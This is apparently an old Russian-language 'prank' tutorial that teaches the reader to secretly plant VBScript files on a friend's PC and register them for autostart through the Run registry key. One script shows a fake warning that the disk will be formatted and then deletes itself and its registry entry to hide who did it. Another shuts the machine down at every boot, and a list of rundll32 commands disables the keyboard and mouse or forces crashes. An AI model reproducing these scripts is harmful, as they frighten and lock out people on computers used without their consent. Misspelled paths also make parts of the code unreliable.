Конечно же, у тебя есть друг,который часто хвастается своим
компом,или ты просто над кем нить хочешь прикальнутся.К сожелению
этот способ не причиняет вреда комьпьютеру и если твой друг средний
программист врядле он испугается ,и этот способ немного сложно
использовать. Хотя файл с приколом можно просто послать и после
открытия чел испугается начнёт всё проверять антивиром и ничего не
обнаружит.Но ты же не ищешь лёгких путей по этому после написания
файла зайди к другу и пропеши везде где
можно(автозапуске,реестре). Ну ладно я тебя уже порядком достал
приступим к делу. Нам нужно чтобы операционка поддерживала WSH он
стандартно входит в Win95 OSR2/98/2k/Me/Xp.Если с этим всё норм то
нам понадобится только блокнот(Notepad). И так открой блокнот и
набери
Первый пример: Hacker=MsgBox("Windows
установила,что вы используете пиратскую версию системы. Windows
обязана отфарматировать диск. Да-сделать
немедленно. Нет-сделать ето перед оконьчанием работы
системы",20,"System error") . теперь сохрани ето с расширением
messedge.vbs у друга(предварительно у него же и набрав) или тайно
скопируй c дискеты в c:\windows\systim после етого пропиши ето в
автозагрузку и в реестр. Чтобы прописать его в реестр в меню пуск
нажми выполнить и набери regedit ,раскрой ветвь
HKEY_LOCAL_MACHINE\Softwere\Microsoft\Windows\cu
rrentVersion\Run,затем в меню
Правка(edit)->создать(new)строковой параметр(string value) и
введи StartUp Script.Дважды щёлкни на новом параметре и введи путь к
нашей массаге(например c:\windows\system\messadge.vbs)
и нажми ок. После первой перезагрузке сообщение всплывёт сразу же,а
ето совсем не интересно, так что подработаем нашу пагу.Например мы
хотим чтоб она сработала в определённое время дополним нашу
прогу:
if Day(now)>24 Then .......... End
if
Теперь сообщение появится только после 24 числа.За это
время жертва забудет о тваём файле и не подумает на тебя. На
всякий случай можно совсем себя обезапасить от обнаружения опять
дополним нашу пагу. Добавим строки для её удаления:
Set
killer=CreateObject("Scripting.FileSystemObject") killer.DeleteFile("c:\Windows\System\messedge.vbs")
и
для удаления записи в реестре:
Set
WSHShell=WScript.CreateObject("WScript.Shell") WSHShell.RegDelete"Hklm\Software\Microsoft\Windows\CurrentVersion\Run\StartUp
Script"
Вот что получилось:
if Day(now)>24
Then Hacker=MsgBox("Windows установила,что вы используете
пиратскую версию системы. Windows обязана отфарматировать
диск.Да-сделать немедленно.Нет-сделать ето перед оканьчанием работы
системы",20,"system error") End if Set
killer=CreateObject("Scripting.FileSystemObject") killer.DeleteFile("c:\Windows\System\messedge.vbs")
Set
WSHShell=WScript.CreateObject("WScript.Shell") WSHShell.RegDelete"Hklm\Software\Microsoft\Windows\CurrentVersion\Run\StartUp
Script"
Теперь пага появится один раз и исчезнет навсегда
24 числа.
Второй пример: Ещё одно западло
отрубающее комп после 24 числа if Day(now)>24 Then Sub
Zapadlo(Fuck,Wait) Set
WShShell=WScript.CreateObject("WScript.Shell") X=WshShell.Run(Fuck.Wait) End
Sub Call Zapadlo("rundll32
shell32,SHExitWindowsEx-1",True) End if
Помести
ето,как и в прошлом примере,в реестр и сразу после загрузки комп
будет вырубатся. Наверное,ты заметел,что в кавычках инструкции Call
указана одна из команд Windows 9x,которую можно просто ввести в поле
Выполнить(Run).Если ты ,напремер, поместишь в прогрмму строку:Call
Zapadlo("c:\windows\calc.exe",True),то будет запускатся колькулятор.
Вот список ещё некоторых команд:
rundll32
keyboard,disable-отключить клаву rundll32 mouse,disable-отключить
мышь rundll32 user,swapmousebutton-поменять местами клавиши
мыши rundll32 user,disableoemlayer-спровоцировать
сбой rundll32 shell,SHExitWindowsEx 0-завершить работу текущего
пользователя rundll krnl386.exe,exitkernell-выход из Windows без
любых сообщений/вопросов;
Кстати, инструкцию Call в
последнем скрипте можно использовать множество раз то есть можно
отрубить одновременно клаву и мышь.
|